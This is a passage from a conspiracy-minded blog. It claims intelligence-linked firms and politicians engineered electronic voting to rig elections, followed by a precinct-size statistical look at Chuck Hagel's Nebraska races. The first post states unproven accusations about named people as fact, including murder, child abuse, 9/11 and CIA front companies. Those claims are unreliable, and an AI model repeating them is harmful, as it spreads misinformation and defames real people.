VoteHere floundered along after that. <a href="http://www.nytimes.com/2005/03/10/nyregion/ferrer-adviser-is-being-paid-to-lobby-the-legislature-against.html">In 2005, they hired</a> a well-connected New York lobbying group to lobby against a state law provision mandating paper ballots in the HAVA implementation. They later expanded to Dategrity Corporation, and made a couple other election products (like the Mail-In Ballot Tracker). But VoteHere never became a big name.</div>
<div>
<br /></div>
<div>
The nature of VoteHere is mysterious and fascinating. It's still never been explained why Admiral Bill Owens and former CIA director Robert Gates ended up on its board. And VoteHere's actions <b>seemed to primarily benefit others, not itself</b>. The major voting machine vendors profited immensely from a law that VoteHere spent big bucks promoting, while VoteHere itself only faded away.</div>
<div>
<br /></div>
<div>
To me, VoteHere has the appearance of a <b>military/CIA shell company</b> whose sole purpose was to grow the rest of the elections industry. That would reinforce the theory about the Election Systems Task Force: that the national security state <i>wanted</i> electronic voting for the purpose of controlling the political system.</div>
<div>
<br /></div>
<h3>
SAIC</h3>
Between the ITAA, the Election Systems Task Force, and VoteHere, one common thread pops up: <a href="https://en.wikipedia.org/wiki/Science_Applications_International_Corporation"><b>SAIC</b></a>. SAIC is one of the largest government contractors, providing services to the CIA and Pentagon. Many of its former and current executives have come from those same government agencies.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c5/SAIC_Logo_2013-05-10.svg/529px-SAIC_Logo_2013-05-10.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="99" src="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c5/SAIC_Logo_2013-05-10.svg/529px-SAIC_Logo_2013-05-10.svg.png" width="320" /></a></div>
<br />
Let's list all the connections, shall we?<br />
<ul>
<li><b>Ronald Knecht</b>, director of the ITAA's Election Systems division, <a href="http://www.rense.com/general40/secrr.htm">was the senior vice president of SAIC at the same time</a>.</li>
<li><a href="http://web.archive.org/web/19990224174912/http://www.divdyn.com:80/sys5.htm">SAIC helped <b>Diversified Dynamics</b></a>, which later partnered with <b>Northrop Grumman</b>, engineer their voting systems</li>
<li><b>Admiral Bill Owens</b> and <b>Robert Gates</b> were both on the SAIC board of directors shortly before coming over to <b>VoteHere</b></li>
</ul>
SAIC seems to have had its fingers in every pie when it came to pushing for HAVA.<br />
<br />
It goes even further than that. Maryland's lobbyist for Diebold Election Systems <a href="http://web.archive.org/web/20031002013033/http://www.sunspot.net/news/local/bal-voting0927,0,1771648.story">turned out to have also been the SAIC lobbyist</a>. SAIC was commissioned by Maryland to review the security of Diebold's horribly insecure voting systems. <a href="http://www.elections.state.md.us/pdf/risk_assessment_report.pdf">The report</a> was managed to excoriate Diebold's terrible security while still downplaying many of the risks. Maryland opted to use Diebold's machines anyway.<br />
<br />
And one of SAIC's recommendations to improve Diebold's security was "Apply cryptographic protocols to protect transmission of vote tallies". In other words, it seemed to be recommending a crypto product like the one sold by VoteHere. Remember that <b>Linda Lamone</b>, the MD director of elections, appeared in letters involving Diebold and VoteHere. <a href="http://www.nytimes.com/2004/11/12/pageoneplus/mostly-good-reviews-for-electronic-voting.html">She was interested in adopting VoteHere's product</a>, rather than using a paper trail (which <a href="https://www.youtube.com/watch?v=FpW8bqEIpdI">she said she'd add "over my dead body"</a>).<br />
<br />
In fact, this offers a clue to the relationship between SAIC and VoteHere. Owens and Gates, two former SAIC directors, approached Jim Adler of VoteHere with a proposition: let us control the direction of your company, and we'll make sure our SAIC buddies end up recommending your product when they review voting system security. Then SAIC got the job of reviewing Diebold's security in Maryland, and put out a report that avoided sinking Diebold while recommending VoteHere's product.<br />
<br />
The constant presence of SAIC, a big military/CIA contractor, behind the push for HAVA is another piece of evidence that <b>the national security state was deeply interested in electronic voting</b>.<br />
<br /></div>
<h2>
Yang Enterprises and the death of Ray Lemme</h2>
<div>
Another government contractor had a suspicious connection to election fraud: <b><a href="http://yangenterprises.com/">Yang Enterprises</a> (YEI)</b> of Oviedo FL. Curiously, <a href="http://web.archive.org/web/20010129092600/http://www.yangenterprises.com/business.htm">back in 2001</a>, YEI listed both Northrop Grumman and SAIC as business partners.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://yangenterprises.com/Graphics/JustTheLogo.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://yangenterprises.com/Graphics/JustTheLogo.gif" /></a></div>
<br />
Yang Enterprises started off in 1986 as a small company run by a Chinese couple. In 1993, <b>Mrs. Li-Woan Yang</b> took control of the company. Somehow, <b>YEI ended up obtaining a massive array of high-level government and corporate contracts</b>. Its corporate clients included oil companies (like Exxon and Shell), media companies (like Disney and 20th Century Fox), and (as mentioned) Northrop Grumman and SAIC. Its government clients included NASA space centers and Florida agencies (such as the Department of Transportation and Department of Children & Families).<br />
<br />
This would be a hard feat to pull off without being politically-connected, and they were. YEI had on its payroll <a href="https://en.wikipedia.org/wiki/Tom_Feeney"><b>Tom Feeney</b></a>, a close political ally of the Bush family. Feeney was a member of the Florida House while serving as the registered lobbyist and corporate counsel for YEI. Sound like a conflict of interest?<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://upload.wikimedia.org/wikipedia/en/c/c6/Tom_Feeney_congressional_portrait.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://upload.wikimedia.org/wikipedia/en/c/c6/Tom_Feeney_congressional_portrait.jpg" width="261" /></a></div>
<br />
Did I mention that Feeney also <a href="https://en.wikipedia.org/wiki/List_of_trips_funded_by_Jack_Abramoff">went on one of Jack Abramoff's trips</a> after becoming a congressman?<br />
<br />
In 1998, a man named <b>Clint Curtis</b> joined YEI and became their lead programmer. While there, Curtis observed numerous illegal activities, which he later blew the whistle on. His story is well-documented by <a href="http://bradblog.com/?page_id=4454">BradBlog</a> and the documentary <i><a href="https://www.youtube.com/watch?v=GhBtfiRKaVY">Murder, Spies, and Voting Lies</a></i>. As incredible as it all sounds, virtually all of Curtis's story has been proven correct.<br />
<br />
Curtis observed numerous illegal activities at YEI, including Chinese espionage and political corruption involving Feeney. Feeney was even talking openly about the Bush Administration's plans for war in the Middle East, and their intent to capitalize on an event that would allow them to lead through fear (<b>perhaps referring to 9/11?</b>). Yang Enterprises could make an entire blog post of its own.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-ILG8mZjnziI/WSJMkE2ejxI/AAAAAAAAH0s/AufRUHSSRK4yNIRD5kCagLL037xdLqf6wCLcB/s1600/IMG_20170517_171115.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="239" src="https://1.bp.blogspot.com/-ILG8mZjnziI/WSJMkE2ejxI/AAAAAAAAH0s/AufRUHSSRK4yNIRD5kCagLL037xdLqf6wCLcB/s320/IMG_20170517_171115.jpg" width="320" /></a></div>
<div style="text-align: center;">
<b>Feeney alluding to 9/11? (Note: Curtis's self-published book used "Wong" in place of "Yang")</b></div>
<br />
Most relevant to election rigging, however, was <b>Feeney's request for YEI to build vote rigging software</b>. As lobbyist and corporate counsel to YEI, Feeney was constantly feeding them contract ideas. Curtis, as YEI technical advisor, would respond whether or not they were technically feasible. In October 2000, Feeney asked if YEI could develop a "touchscreen-capable" vote rigging prototype that remained hidden.<br />
<br />
Curtis didn't believe such a program was possible. He argued that hiding the rigging code would be impossible if the source code was inspected. At the time, Curtis assumed that voting machine code <i>would be</i> inspected (and that programmers like Talbot Iredale wouldn't try to evade certification). Mrs. Yang, however, cut him off and agreed YEI would build the prototype to give Feeney "something to show".<br />
<br />
Being a Republican at the time, Curtis believed Feeney wanted the prototype so he could catch the Democrats trying to rig the voting machines. He built the prototype, along with documentation on how to detect such a program in voting machines, and delivered it to Mrs. Yang. Her response shocked him:<br />
<blockquote class="tr_bq">
You don't understand: in order to get this contract we have to hide the manipulation in the source code. This program is needed to control the vote in South Florida.</blockquote>
Curtis was stunned that <b>Feeney and Yang actually planned to steal the election</b>. He later heard Feeney discussing plans to suppress the "black vote" in Florida through "exclusion lists" and "police patrols". Indeed, there was a massive amount of racially-targeted voter disenfranchisement in the 2000 Florida election.<br />
<br />
Having become disgusted at the corruption and criminality in YEI, Curtis resigned around the time of the 2000 election. He took a job at the <b>Florida Department of Transportation (FDOT)</b>, one of YEI's clients.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://i.ytimg.com/vi/SRTnmpDZPS4/hqdefault.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://i.ytimg.com/vi/SRTnmpDZPS4/hqdefault.jpg" width="320" /></a></div>
<div style="text-align: center;">
<b>Clint Curtis, being interviewed about his experience several years later</b></div>
<br />
YEI flipped out when they learned Curtis was working at FDOT and offered him up to $1 million in hush money to leave Tallahassee and keep his mouth shut. Alerted to the fact that FDOT clearly had something to hide, he found (along with his supervisor <b>Mavis Georgalis</b>) that YEI had been systematically overbilling FDOT for years.<br />
<br />
Curtis and Georgalis went to the FDOT Inspector General's office together and reported everything they knew about YEI: overbilling FDOT, improper political influence by Feeney, illegal alien employment, espionage, and Feeney's commissioning of vote rigging software. For blowing the whistle, both Curtis and Georgalis were fired from FDOT. Georgalis found herself under investigation by FDOT for phony bribery charges. Curtis couldn't get another programming job due to poor recommendations from YEI and FDOT, and had to work at the dollar store.<br />
<br />
One day in 2003, Curtis was visited by <b>Ray Lemme</b>, the FDOT investigator who had taken his initial report. Lemme informed Curtis that pressure from the top (referring to Governor Jeb Bush) was being exerted to shut down the investigation, and that he was conducting an unofficial side investigation. He came back several times to interview Curtis, each time claiming to be a little closer to cracking the case.<br />
<br />
In mid June of 2003, Lemme was ecstatic. He told Curtis that he had tracked the corruption "all the way to the top", that the story would break in a few weeks, and that Curtis would be thrilled with it. A couple weeks later, Lemme <a href="https://www.reddit.com/r/UnresolvedMysteries/comments/649zup/mysterious_suicide_of_florida_state_investigator/">was found dead in a Valdosta GA motel room of a <b>suspicious "suicide"</b></a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-YhtW2PSkkI4/WSJKKDmgXKI/AAAAAAAAH0g/3rgzQ1OFY-EPFkmbALLyuKNtdBtuhvoxgCLcB/s1600/DSCF0001.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://4.bp.blogspot.com/-YhtW2PSkkI4/WSJKKDmgXKI/AAAAAAAAH0g/3rgzQ1OFY-EPFkmbALLyuKNtdBtuhvoxgCLcB/s320/DSCF0001.JPG" width="320" /></a></div>
<div style="text-align: center;">
<b>The entrance to the motel room where Lemme supposedly killed himself</b></div>
<br />
To this day, what Lemme uncovered is unknown. But it was clearly important enough to murder him over.<br />
<br />
Yang Enterprises is an important part of the story behind election rigging. There's no proof that the prototype Feeney commissioned was used to steal any elections. But it clearly shows that Feeney (who may have been corruptly influenced by Abramoff), and the Bush/neocon network he associated with, <b>was interested in computerized election theft</b> as far back as 2000.<br />
<br />
Furthermore, it shows how election rigging conspiracies don't operate in a vacuum. YEI is at the center of numerous conspiracies: election fraud, Chinese espionage, <a href="https://web.archive.org/web/20161010114652/http://www.insider-magazine.com/Valdosta-Lemme.pdf"><b>child sex trafficking</b></a> (yet again), the <a href="http://bradblog.com/?p=1259#comment-17922"><b>Inslaw/PROMIS scandal</b></a>, and the neoconservative plan for war in the Middle East (<b>including 9/11</b>).<br />
<br /></div>
<div>
<br /></div>
<h2>
Conclusion</h2>
<div>
Far too often, the study of deep politics leaves out election rigging. This is a fatal mistake: not only are fraudulent elections a central tool used by the deep state to maintain their power, the history of electronic voting is intricately linked with other deep state conspiracies.<br />
<br />
Mae Brussell presciently said that "the roots of vote fraud" were in Dallas. Following JFK's assassination, a nationwide effort took place to seize elections from the public. It largely took place right under our noses.<br />
<br />
As the media kept up the illusion that nothing was awry, the political power elite computerized and consolidated our election process. Every major voting machine vendor today has a history of political conflicts of interest, CIA and/or mob connections, and criminals running them. Even more disturbingly, there's a consistent pattern of the same people who abuse children being involved with running elections.<br />
<br />
If you want to know how the deep state always manages to get its candidates into power, this is the place to look. The deep state had its hands all over getting our election system to where it is today. And they still control it.<br />
<br />
We need to return to publicly-observed hand-counted paper ballots. It's time to take elections out of the hands of private interests and return them to the public where they belong. But we also need to understand the entire criminal network behind election stealing. Because it's more than just that: that criminal network <i>is</i> the deep state.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1645045780017662151.post-22418232185258507052017-03-18T18:56:00.002-03:002018-11-13T02:47:48.481-03:00Chuck Hagel and Nebraska Election FraudOne of the earliest suspect elections due to electronic voting was the <a href="http://harpers.org/archive/2012/11/how-to-rig-an-election/3/">1996 Nebraska Senate race</a>. Chuck Hagel, a political newcomer who had only recently moved to Nebraska, managed to upset a popular Democratic governor in a 14% landslide, despite the very best polls for Hagel showing a tie. What Hagel failed to disclose was that he was chairman and CEO of AIS (precursor to <a href="https://en.wikipedia.org/wiki/Election_Systems_%26_Software">ES&S</a>), the Omaha company that made the state's voting machines, prior to running for Senate.<br />
<br />
Hagel's story is a clear illustration of the disturbing conflicts of interest in the elections industry. And the lengths he went to to hide his connections to AIS suggest something nefarious was going on. So naturally, many election integrity analysts believe Hagel's election was stolen. But on their own, Hagel's upset and conflicts of interest aren't very strong evidence of election fraud. All they offer is reasonable suspicion.<br />
<br />
Lulu Friesdat's report, <i><a href="https://static1.squarespace.com/static/579f40a01b631bd12f10c29e/t/58375666c534a52c855d9648/1480021608216/000+An+Electoral+System+in+Crisis.pdf">An Electoral System in Crisis</a></i>, suggests this:<br />
<blockquote class="tr_bq">
It would be instructive to do a statistical analysis on one of the races that [Victoria Collier] cites as an “up-set” like Chuck Hagel’s 1996 Nebraska Senate victory.</blockquote>
Aside from polling discrepancies, election integrity analysts have two techniques of directly analyzing the vote counts (within a county, city, or town) for irregularities:<br />
<ul>
<li><b>Cumulative vote share:</b> Sort the precincts by total number of votes. Add them, in that order, to a running vote total, calculating candidates' vote percentages as precincts accumulate. Graph their vote shares by accumulated total votes.</li>
<li><b>Precinct share by size:</b> Sort the precincts by total number of votes. Calculate the candidates' vote percentages in each precinct, and simply graph them all by precinct size.</li>
</ul>
These analyses are based on the idea that a candidate's vote share shouldn't be significantly associated with precinct size. In a clean election, these graphs should be relatively flat. On the other hand, if an election is rigged, the fraud is more likely to be targeted towards larger precincts (where tampering is less likely to be caught and has more effect), which would make these graphs show an irregular increase for a certain candidate.<br />
<br />
However, it's not as simple as that. There are potential demographic reasons for the larger precincts to more strongly support a candidate. But that doesn't make these analyses (CVS and precinct share) useless. It just means they need to be more carefully controlled.<br />
<br />
If a demographic effect is present, it should affect all elections, both suspect and not. We can run these analyses and compare suspect/competitive elections to innocuous/noncompetitive elections. If an irregular trend appears in the former but not the latter, it's harder to dismiss it as a demographic artifact.<br />
<br />
For Hagel's 1996 election, we'll look specifically at Douglas County NE, the state's largest county which contains Omaha. In the CVS graphs, irregularities are indicated by upslopes/downslopes after the graph flattens out. All these graphs can be verified from the <a href="http://www.votedouglascounty.com/election_results.aspx">official Douglas County results</a>. I also have my spreadsheets <a href="https://drive.google.com/drive/folders/0BwnI6PcRU44rQ1RtYmN1MmhKaFE">here</a>.<br />
<br />
<h3>
1987 Omaha mayoral recall</h3>
<table>
<tbody>
<tr>
<td><a href="https://1.bp.blogspot.com/-R8zm2zZzDrI/WM2PxRxYuSI/AAAAAAAAHgw/yOPDwcbPA2weKAaPUWprkwI4labIfQfCQCLcB/s1600/image001.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="199" src="https://1.bp.blogspot.com/-R8zm2zZzDrI/WM2PxRxYuSI/AAAAAAAAHgw/yOPDwcbPA2weKAaPUWprkwI4labIfQfCQCLcB/s320/image001.png" width="320" /></a></td>
<td><a href="https://4.bp.blogspot.com/-84yALJLyp3E/WM2P6JlFwVI/AAAAAAAAHg0/KOtN3_6gB7sdxArNwuQcyzRPZHgYPcnfgCLcB/s1600/image003.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="199" src="https://4.bp.blogspot.com/-84yALJLyp3E/WM2P6JlFwVI/AAAAAAAAHg0/KOtN3_6gB7sdxArNwuQcyzRPZHgYPcnfgCLcB/s320/image003.png" width="320" /></a></td>
</tr>
</tbody></table>
<div>
This was a recall election against Omaha mayor Mike Boyle, after firing police chief Robert Wadman for insubordination. With an upslope of ~10% for recalling Boyle (and corresponding downslope for opposing it), the CVS graph seems fairly regular. The support for recalling Boyle only has a minor linear increase with precinct size.<br />
<br /></div>
<h3>
1996 Republican presidential primary</h3>
<table>
<tbody>
<tr>
<td><a href="https://3.bp.blogspot.com/-nYxJUybI5Wo/WM2RIxSDfrI/AAAAAAAAHhA/kfte_8eZeic45BzkYDwmCXmyZUKSiQQkQCLcB/s1600/image005.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="204" src="https://3.bp.blogspot.com/-nYxJUybI5Wo/WM2RIxSDfrI/AAAAAAAAHhA/kfte_8eZeic45BzkYDwmCXmyZUKSiQQkQCLcB/s320/image005.png" width="320" /></a></td>
<td><a href="https://2.bp.blogspot.com/-31fzTNo6AAY/WM2RPSBR5kI/AAAAAAAAHhE/89RRzdcPwSI-hVsfqXVlP2ihfyj9TYX9gCLcB/s1600/image007.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="201" src="https://2.bp.blogspot.com/-31fzTNo6AAY/WM2RPSBR5kI/AAAAAAAAHhE/89RRzdcPwSI-hVsfqXVlP2ihfyj9TYX9gCLcB/s320/image007.png" width="320" /></a></td>
</tr>
</tbody></table>
An upslope of ~10% for Dole (and corresponding downslope for Buchanan) can be observed in the CVS graph. For both candidates, vote share is slightly linearly associated with precinct size, though it's close to flat. Neither graph is irregular, as would be expected in a noncompetitive election like this.<br />
<br />
<h3>
1996 Republican Senate primary</h3>
<table>
<tbody>
<tr>
<td><a href="https://4.bp.blogspot.com/-6AA47QqBJlU/WM2SEmkq2sI/AAAAAAAAHhQ/SM4bHCd--aMEocQJHhxgvF-bJrYHq1r8ACLcB/s1600/image009.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="201" src="https://4.bp.blogspot.com/-6AA47QqBJlU/WM2SEmkq2sI/AAAAAAAAHhQ/SM4bHCd--aMEocQJHhxgvF-bJrYHq1r8ACLcB/s320/image009.png" width="320" /></a></td>
<td><a href="https://4.bp.blogspot.com/-X4DwFTfs3FQ/WM2SKVj_HgI/AAAAAAAAHhU/Oh95guQB1jAJEqRWoRXLV9tZfR8FaAWegCLcB/s1600/image011.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="193" src="https://4.bp.blogspot.com/-X4DwFTfs3FQ/WM2SKVj_HgI/AAAAAAAAHhU/Oh95guQB1jAJEqRWoRXLV9tZfR8FaAWegCLcB/s320/image011.png" width="320" /></a></td>
</tr>
</tbody></table>
Similar to the GOP presidential primary, the GOP Senate primary exhibits a ~10% upslope for Hagel, along with a slight linear increase for Hagel with precinct size (and corresponding decreases for Stenberg). Hagel's victory in this primary over popular attorney general Don Stenberg was one of his upsets considered suspect, but it shows little signs of irregularity.<br />
<br />
<h3>
1996 Senate election</h3>
<table>
<tbody>
<tr>
<td><a href="https://4.bp.blogspot.com/-ZT2I8Kd0L0A/WM2SwGqyHGI/AAAAAAAAHhc/t2OODYnG6owMhFpa6bUaeVKLX3VK7Ln9gCLcB/s1600/image013.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://4.bp.blogspot.com/-ZT2I8Kd0L0A/WM2SwGqyHGI/AAAAAAAAHhc/t2OODYnG6owMhFpa6bUaeVKLX3VK7Ln9gCLcB/s320/image013.png" width="320" /></a></td>
<td><a href="https://4.bp.blogspot.com/-ABbTgM7F5bM/WM2S3QMSRGI/AAAAAAAAHhg/_s7nUcY3Ksc9SG2ZRA4EHN2pXSkD3SWigCLcB/s1600/image015.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="193" src="https://4.bp.blogspot.com/-ABbTgM7F5bM/WM2S3QMSRGI/AAAAAAAAHhg/_s7nUcY3Ksc9SG2ZRA4EHN2pXSkD3SWigCLcB/s320/image015.png" width="320" /></a></td>
</tr>
</tbody></table>
The pattern in Hagel's general election against Ben Nelson is more irregular than any of the previous ones. In the CVS graph, his upslope is ~15%, and it starts much more abruptly than any of the previous ones. Uniquely, it actually reverses the initial trend of Nelson winning. The precinct share graph is also different: rather than a slight linear pattern, there's a very well-defined upward curve for Hagel with precinct size. This fits the suspicion that Hagel's Senate victory was due to vote tampering.<br />
<br />
<h3>
2002 Democratic Senate primary</h3>
<table>
<tbody>
<tr>
<td><a href="https://4.bp.blogspot.com/-_WUs3GIMxIU/WM2TNF9vdbI/AAAAAAAAHhk/eWfyUPwsMQArVJNO2fYkMtBPC8_sGhi2gCLcB/s1600/image017.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://4.bp.blogspot.com/-_WUs3GIMxIU/WM2TNF9vdbI/AAAAAAAAHhk/eWfyUPwsMQArVJNO2fYkMtBPC8_sGhi2gCLcB/s320/image017.png" width="320" /></a></td>
<td><a href="https://2.bp.blogspot.com/-1PY81KWIsjM/WM2TTY8AUuI/AAAAAAAAHho/6o4galM66c896Fr0DGvzBunyKEJcSkwzwCLcB/s1600/image019.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="203" src="https://2.bp.blogspot.com/-1PY81KWIsjM/WM2TTY8AUuI/AAAAAAAAHho/6o4galM66c896Fr0DGvzBunyKEJcSkwzwCLcB/s320/image019.png" width="320" /></a></td>
</tr>
</tbody></table>
Both the CVS graph and precinct share graphs are almost perfectly flat. This lack of irregularities makes sense given the uncompetitiveness of the election, in which Matulka won by 65%.<br />
<br />
<h3>
2002 Senate election</h3>
<table>
<tbody>
<tr>
<td><a href="https://1.bp.blogspot.com/-m040CGlu8rg/WM2TpWwVaFI/AAAAAAAAHhs/MQEl0qV9HJsNto-FbJwG9bm-7gMsihfqACLcB/s1600/image021.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="204" src="https://1.bp.blogspot.com/-m040CGlu8rg/WM2TpWwVaFI/AAAAAAAAHhs/MQEl0qV9HJsNto-FbJwG9bm-7gMsihfqACLcB/s320/image021.png" width="320" /></a></td>
<td><a href="https://4.bp.blogspot.com/-rQs9FTSbqas/WM2Tw9n6QQI/AAAAAAAAHhw/upQ49hTZAOMe7Ta9l5A80cT4jELzO1jCgCLcB/s1600/image023.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="197" src="https://4.bp.blogspot.com/-rQs9FTSbqas/WM2Tw9n6QQI/AAAAAAAAHhw/upQ49hTZAOMe7Ta9l5A80cT4jELzO1jCgCLcB/s320/image023.png" width="320" /></a></td>
</tr>
</tbody></table>
Hagel's 2002 reelection is the most irregular of any of these. There's a massive ~20% upslope for Hagel (and corresponding downslope for Matulka) in the CVS graph, once again beginning quite abruptly, along with the curved pattern in the precinct vote share graph seen in 1996. However, this election still seemed to be a shoo-in for Hagel: it wasn't considered competitive, and the CVS initially flattened out at 60%, a landslide in its own right. So it might seem weird that this race would be a target for fraud. But given Hagel's presidential aspirations, and that this election gave him the largest margin of victory in Nebraska's history, it would have served a beneficial political purpose for Hagel.<br />
<br />
<h3>
2004 Democratic presidential primary</h3>
<table>
<tbody>
<tr>
<td><a href="https://2.bp.blogspot.com/-9VXrYmjWeTs/WM2UP5GrGmI/AAAAAAAAHh0/Qv7UMceAstQ8NK2LqB7wLXx8oSFdTyRfgCLcB/s1600/image025.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://2.bp.blogspot.com/-9VXrYmjWeTs/WM2UP5GrGmI/AAAAAAAAHh0/Qv7UMceAstQ8NK2LqB7wLXx8oSFdTyRfgCLcB/s320/image025.png" width="320" /></a></td>
<td><a href="https://1.bp.blogspot.com/-BqeCp7NYbKE/WM2UVgLUUzI/AAAAAAAAHh8/L1Piqlt4Wow0NZu5CN3w4cqYXm6aysnMgCLcB/s1600/image027.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="201" src="https://1.bp.blogspot.com/-BqeCp7NYbKE/WM2UVgLUUzI/AAAAAAAAHh8/L1Piqlt4Wow0NZu5CN3w4cqYXm6aysnMgCLcB/s320/image027.png" width="320" /></a></td>
</tr>
</tbody></table>
Like the 2002 Dem Senate primary, both graphs are almost perfectly flat, showing no irregularities. This makes sense, since Kerry won by 75%, indicating the election wasn't competitive.<br />
<br />
<h3>
2004 presidential election</h3>
<table>
<tbody>
<tr>
<td><a href="https://3.bp.blogspot.com/-nF2nfchrspY/WM2Us3fNYII/AAAAAAAAHiA/M_GSNh1jTNs90AsQFjvlhajsZEOxkZKlgCLcB/s1600/image029.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="205" src="https://3.bp.blogspot.com/-nF2nfchrspY/WM2Us3fNYII/AAAAAAAAHiA/M_GSNh1jTNs90AsQFjvlhajsZEOxkZKlgCLcB/s320/image029.png" width="320" /></a></td>
<td><a href="https://2.bp.blogspot.com/-9S9L-8BzbWg/WM2U5suUzzI/AAAAAAAAHiE/epVCChDEhZ4E_VCrgnYCltukoypli5lyACLcB/s1600/image031.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="193" src="https://2.bp.blogspot.com/-9S9L-8BzbWg/WM2U5suUzzI/AAAAAAAAHiE/epVCChDEhZ4E_VCrgnYCltukoypli5lyACLcB/s320/image031.png" width="320" /></a></td>
</tr>
</tbody></table>
This election has some signs of irregularities, though they're weaker. Bush's upslope is ~12%, slightly larger than normal, and the curve seen in precinct share graphs for Hagel's 1996 and 2002 elections appears here as well. It might seem strange that a solid-red state like Nebraska would be rigged in a presidential election. However, the 2004 presidential election had swing states like Ohio and Florida being rigged, as well as noncompetitive states to pad Bush's popular vote margin, so this strategy would make sense. According to the <a href="http://www.electionmathematics.org/em-exitpolls/Exit_Polls_2004_Edison-Mitofsky.pdf">unadjusted exit polls</a>, Nebraska was red-shifted by 3%.<br />
<br />
<h3>
2006 Senate election</h3>
<table>
<tbody>
<tr>
<td><a href="https://1.bp.blogspot.com/-WVWNUQqGjew/WM2WWT6Q1qI/AAAAAAAAHiQ/9tzv8HodQS0mSVIibzdQs_-rbFgQusTnwCLcB/s1600/image033.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="212" src="https://1.bp.blogspot.com/-WVWNUQqGjew/WM2WWT6Q1qI/AAAAAAAAHiQ/9tzv8HodQS0mSVIibzdQs_-rbFgQusTnwCLcB/s320/image033.png" width="320" /></a></td>
<td><a href="https://3.bp.blogspot.com/-88JDtc6dlAo/WM2WwPvAvRI/AAAAAAAAHiU/kBcBKy9DN2MD0CZPyvtgvRE8VElcZY8BwCLcB/s1600/image035.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="201" src="https://3.bp.blogspot.com/-88JDtc6dlAo/WM2WwPvAvRI/AAAAAAAAHiU/kBcBKy9DN2MD0CZPyvtgvRE8VElcZY8BwCLcB/s320/image035.png" width="320" /></a></td>
</tr>
</tbody></table>
In the noncompetitive 2006 Senate election, where Ben Nelson led substantially, there was only a ~10% upslope for his Republican opponent. The precinct share graph, meanwhile, showed a slight linear decrease for Nelson and a slight increase for his opponent.<br />
<br />
<h3>
2008 Senate election</h3>
<table>
<tbody>
<tr>
<td><a href="https://1.bp.blogspot.com/-hzz11lyClNI/WM2XLetWwpI/AAAAAAAAHiY/ltHXKB-BilgQhYJnPjEA_rz2X0yEamP6gCLcB/s1600/image037.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="199" src="https://1.bp.blogspot.com/-hzz11lyClNI/WM2XLetWwpI/AAAAAAAAHiY/ltHXKB-BilgQhYJnPjEA_rz2X0yEamP6gCLcB/s320/image037.png" width="320" /></a></td>
<td><a href="https://4.bp.blogspot.com/-tUGLOiFrfgI/WM2XQaWIQvI/AAAAAAAAHic/FRTcsff456kh0EyWoQ0YJINiP62yyxfGQCLcB/s1600/image039.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="197" src="https://4.bp.blogspot.com/-tUGLOiFrfgI/WM2XQaWIQvI/AAAAAAAAHic/FRTcsff456kh0EyWoQ0YJINiP62yyxfGQCLcB/s320/image039.png" width="320" /></a></td>
</tr>
</tbody></table>
This noncompetitive 2008 Senate race, where Scott Kleeb lost by about 18% to his Republican opponent, showed very little signs of irregularities. The Republican upslope was even less than 10%, and the precinct share graphs show amorphous blobs, giving vote share no meaningful association with precinct size.<br />
<br />
<br />
As we can see, Hagel's 1996 and 2002 elections, as well as possibly Bush's 2004 election, are the only examined Douglas County elections showing statistical irregularities. And those are some of the only elections where fraud would be likely/expected.<br />
<br />
Democratic primaries (2002 Senate and 2004 presidential) show completely flat trends. Republican primaries and all general elections (aside from the aforementioned three) have minor (10% or less) CVS upslopes for the Republican, with linear or unassociated trends in the precinct share graphs. Almost all of these elections were noncompetitive and weren't suspect, so fraud wouldn't be expected. The 10% upslope is likely a demographic effect.<br />
<br />
